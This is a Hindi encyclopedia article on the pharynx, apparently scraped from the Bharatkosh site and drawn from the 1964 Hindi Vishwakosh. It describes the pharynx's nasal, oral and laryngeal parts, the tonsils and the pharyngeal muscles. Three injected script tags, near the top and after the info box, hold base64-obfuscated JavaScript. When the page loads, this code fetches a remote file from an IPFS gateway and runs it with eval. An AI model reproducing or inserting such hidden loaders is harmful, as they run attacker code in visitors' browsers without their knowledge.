ग्रसनी

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ
गणराज्य इतिहास पर्यटन भूगोल विज्ञान कला साहित्य धर्म संस्कृति शब्दावली विश्वकोश भारतकोश

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

लेख सूचना
ग्रसनी
पुस्तक नाम हिन्दी विश्वकोश खण्ड 4
पृष्ठ संख्या 57
भाषा हिन्दी देवनागरी
संपादक फूलदेव सहाय वर्मा
प्रकाशक नागरी प्रचारणी सभा वाराणसी
मुद्रक नागरी मुद्रण वाराणसी
संस्करण सन्‌ 1964 ईसवी
उपलब्ध भारतडिस्कवरी पुस्तकालय
कॉपीराइट सूचना नागरी प्रचारणी सभा वाराणसी
लेख सम्पादक मुकुंद स्वरूप वर्मा

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


ग्रसनी मुँह को चौड़ाकर, जिह्वा को चम्मच के हैंडिल या किसी यंत्र से दबाने पर, उसके पीछे जो चौड़ा, भाग दीखता है वह ग्रसनी कहा जाता है। डाक्टर लोग परीक्षा करते समय किसी टार्च, या सिर पर बंधे हुए दर्पण, से प्रकाश डालकर उसको आलोकित करके देखते हैं, जिससे वहाँ की प्रत्येक संरचना प्रत्यक्ष हो जाती है। यह वास्तव में उस बृहन्नाल का प्रारंभिक भाग है जो सामने ऊपर की ओर नासिका और नीचे की ओर मुख से आरंभ होती है। ऊपर दोनों नासारध्रं अपने पिछले द्वारों द्वारा और नीचे मुखगुहा (mouth cavity) ग्रसनी में खुलती है, जिससे नासारध्राेंं द्वारा आई हुई वायु और मुख से आया हुआ आहारग्रास दोनों ग्रसनी में पहुँचकर वहाँ से अपनी यात्रा में आगे को अग्रसर होते हैं। वायु कंठ या स्वरयंत्र में होकर फुफ्फुसों में चली जाती है और आहारग्रास ग्रासनाल में होता हुआ आमाशय में चला जाता है। इस प्रकार ग्रसनी के ऊर्ध्व भाग में भी दो गुहाएँ या नलियाँ आकर खुलती हैं, नासारध्रं और मुखकुहर, और नीचे के भाग से भी दो नाल आरंभ होते हैं : एक श्वसनाल (Trachea), जिसके शिखर या ऊर्ध्व भाग पर कंठ स्थित है और दूसरा ग्रासनाल (Oesophagus)

१. नासिका का मध्य मुहर; २. नासिका का निम्न कुहर; ३. मध्य नासाशंखास्थि (turbinated bone); ४. नासिका का उत्तल कुहर; ५. जतूक विवर (sphenoidal sinus); ६. निम्न नासा शंखास्थि; ७. नासिका की विभाजक भित्ति का पश्च प्राँत; ८. यूस्टेकिओ नली का रध्रं; ९. ग्रसनी स्नेहपुटी (bursa); १०. ग्रसनी के गलसुए (tonsil) का भाग; ११. ग्रसनी की पार्श्व दरी (recess); १२. उन्नमनी (levator) गद्दी; १३. तूर्यं ग्रसनी पुटक (Salpingo-pharyngeal fold); १४. कोमल तालु की ग्रंथियाँ; १५. गलतोरणिका (Fauces) का अग्रस्तंभ; १६. अधिगलगुटिका (supratonsilar) खात (fossa); १७. त्रिकोण पुटक (plica triangularis); १८. गलसुआ; १९. गलतोरणिका का पश्चस्तंभ; २०. तसीकाभ (lymphoid) पुटक (follicle); २१. कंठच्छद (Epiglottis); २२. कुंभाकार कंठच्छद पुट (Genioglossus); २३. चिबुक चिव्हिका (Genitohyoid); २४. कंठिकास्थि (Hyoid bone); चिबुक कंठिका (Genitohyoid) तथा २६. वलय उपास्थि (Cricoid cartilage)।

मांसपेशी और कला द्वारा निर्मित ग्रसनी १२ से लेकर १४ सेंटीमीटर तक लंबी एक नाल है, जो ऊपर नासारध्राेंं के पीछे, कपालतल के अधोपृष्ठ के नीचे से आरंभ होकर नीचे की ओर छठे ग्रैवेयक कशेरुका पर क्रिकॉइड उपास्थि (Cricoid cartilage) की अधोधारा पर समाप्त होती है। इसका आकार कुप्पी के समान है, जिसका ऊपरी भाग ३.५ सेटी. चौड़ा है। किंतु ग्रासनाल से संगम के स्थान पर उसकी चौड़ाई केवल १.५ सेंटी. रह जाती है। ग्रसनी के ऊपर का, नासारध्राेंं के पीछे का भाग नासाभाग (nasal part), बीच का मुखगुहा के पीछे का मौखिक भाग और नीचे का स्वरयंत्र के पीछे का कंठभाग (laryngeal part) कहलाता है।

नासाभाग में सामने दो नासारध्रं या छिद्र हैं, जो नीचे की ओर कोमल तालु से परिमित हैं। कोई वस्तु निगलते समय कोमल तालु की पेशी का संकोच कर उसको ऊपर उठा देते हैं, जिससे नासारध्रं बंद हो जाते हैं। यहाँ पार्श्वभित्ति में अधोशुक्तिका के १.० से १.५ मिलीमीटर नीचे और पीछे को ग्रसनी श्रवणपट्ट नली (pharyngotympanic tube) का छिद्र है, जिसको यूस्टेकी नलिका भी कहते हैं

मौखिक भाग (oral part) कोमल तालु से कंठच्छद (epiglottis) की ऊर्ध्व धरा तक विस्तृत है। इस भाग की विशेष संरचना टौंसिल (tonsils) हैं, जो तालु जिह्विका (palato-glossus) और तालुग्रसनी (palato-pharangela)चापों के बीच त्रिकोणाकार गह्वर में दोनों ओर स्थित हैं। ये चाप पेशी और कलानिर्मित पटह के समान हैं। टॉन्सिल लसीकाभ (lymphoid) ऊतक के पिंड हैं, जिनका काम संक्रमण से शरीर की रक्षा करना है।

कंठभाग कंठच्छद की ऊर्ध्व धरा से क्रिकाइड उपास्थि तक की ग्रसनिका के विस्तृत भाग का नाम है। इस भाग की विशेष रचना कंठद्वार है, जिसमें होकर वायु श्वासनाल में जाती है तथा जिससे शब्द उत्पन्न होता है।

ग्रसनी की रचना

नलिका का सबसे भीतरी स्तर श्लेष्मल कला द्वारा निर्मित है। उसके बाहर तांतव है। उससे बाहर मांसपेशीस्तर है, जो निम्नलिखित पेशियों का बना हुआ है। इस स्तर पर कपोल, ग्रसनी प्रावरणी (Bucco pharyngeal fascia) आच्छादित है।

ग्रसनी की पेशी :

ऊर्ध्व संवारक पेशी (Superior constrictor pharyngeus)

मध्य संवारक पेशी (Middle constrictor pharyngeus)

अध: संवारक पेशी (Inferior constrictor pharyngeus)

शरग्रसनी (Stylopharyngeus)

तालु ग्रसनी (Palato pharyngeus)

तूर्य ग्रसनी (Salpingo-pharyngeus)


टीका टिप्पणी और संदर्भ